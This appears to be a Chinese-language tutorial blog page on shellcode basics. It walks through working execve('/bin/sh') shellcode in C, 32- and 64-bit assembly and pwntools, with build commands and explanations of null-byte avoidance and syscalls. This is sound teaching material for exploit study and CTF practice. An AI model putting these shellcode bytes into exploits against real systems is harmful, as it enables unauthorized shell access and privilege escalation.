Shellcode基础
温馨提示:点击页面下方以展开或折叠目录~
Shellcode基础
基本原理
- shellcode通常是一小段用于利用软件漏洞的机器代码,目的是为了获得目标机器的shell
- 本地shellcode常用于提权,攻击者利用高权限程序中的漏洞获得与目标进程相同的权限
- 远程shellcode通过TCP/IP套接字为攻击者提供shell访问(反弹shell、绑定shell、套接字重用shell)
- shellcode可分段执行,由一段短的shellcode去加载一段复杂的shellcode
编写
C语言
1 2 3 4 5 6 7
| # include "stdlib.h" # include "unistd.h"
int main() { system("/bin/sh"); exit(0); }
|
- C语言使用内联汇编方式调用shellcode,使用的shellcode为汇编生成的opcode(先看汇编那一节)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| #include "stdio.h" #include <string.h>
char shellcode[] = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";
int main() { printf("Shellcode length: %d bytes\n", strlen(shellcode)); (*(void(*)()) shellcode)();
return 0; }
|
1 2
| gcc -m32 -z execstack shellcode.c -o shellcode
|
汇编
- 21个字节实现
execve("/bin/sh")
的Linux 32位程序(2种都可以)
1 2 3 4 5 6 7 8 9 10 11 12
| ; shell1 global_start section .text
_start: push 0x68732f ; "/sh" push 0x6e69622f ; "/bin" mov ebx, esp ; ebx="/bin/sh" xor ecx, ecx ; ecx=0 xor edx, edx ; edx=0 mov eax, 0xb ; system_number int 0x80 ; 软中断
|
1 2 3 4 5 6 7 8 9 10 11 12 13
| ;shell2 global_start section .text
_start: xor ecx, ecx ; ecx=0 mul ecx ; eax=0 edx=0 mov al, 11 ; execve syscall number push ecx push 0x68732f2f ; "//sh" push 0x6e69622f ; "/bin" mov ebx, esp ; pointer int 0x80
|
push的理解
/bin/sh
用16进制表示为2f62696e2f7368
- 由于是小端序,因此
/sh=0x68 0x73 0x2f
,由于不足4个字节,用'/' (0x2f)
补足即"//sh" = 0x68732f2f
- 同理,
"/bin" = 0x6e69622f
- 压栈顺序:h >> s >> / >> / >> n >> i >> b >> /
xor的理解
- shellcode中不能包含NULL,因为NULL会将字符串操作函数阶段,这样执行的shellcode就会被截断
xor ecx, ecx
用于替换mov ecx, 0x00
寄存器的理解
mov ebx, esp
:将栈顶指针赋给ebx
mov eax, 0xb
:0xb = 11,execve
的系统调用号为11
xor ecx(edx), ecx(edx)
:清空ecx和edx寄存器
软中断
由于一般shellcode有长度限制而且我们不知道系统函数地址,无法直接调用
- 触发中断(int 0x80或者syscall)进行系统调用
system("/bin/sh")
底层是调用execve("/bin/sh",0,0)
1 2 3 4 5 6 7 8
| nasm -f elf32 shell.asm
ld -m elf_i386 shell.o -o shell
./shell
objdump -d shell
|
因此shellcode为"\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb8\x0b\x00\x00\x00\xcd\x80"
shell2的shellcode为"\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
gdb详细信息如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| global _start section .text
_start: xor rdx, rdx mov qword rbx, '//bin/sh' shr rbx, 0x8 push rbx mov rdi, rsp push rax push rdi mov rsi, rsp mov al, 0x3b syscall
|
1 2 3
| nasm -f elf64 shell_64bit.asm ld -m elf_x86_64 shell_64bit.o -o shell_64bit
|
python
1 2 3
| from pwn import * context(log_level='debug', arch='i386', os='linux') shellcode=asm(shellcraft.sh())
|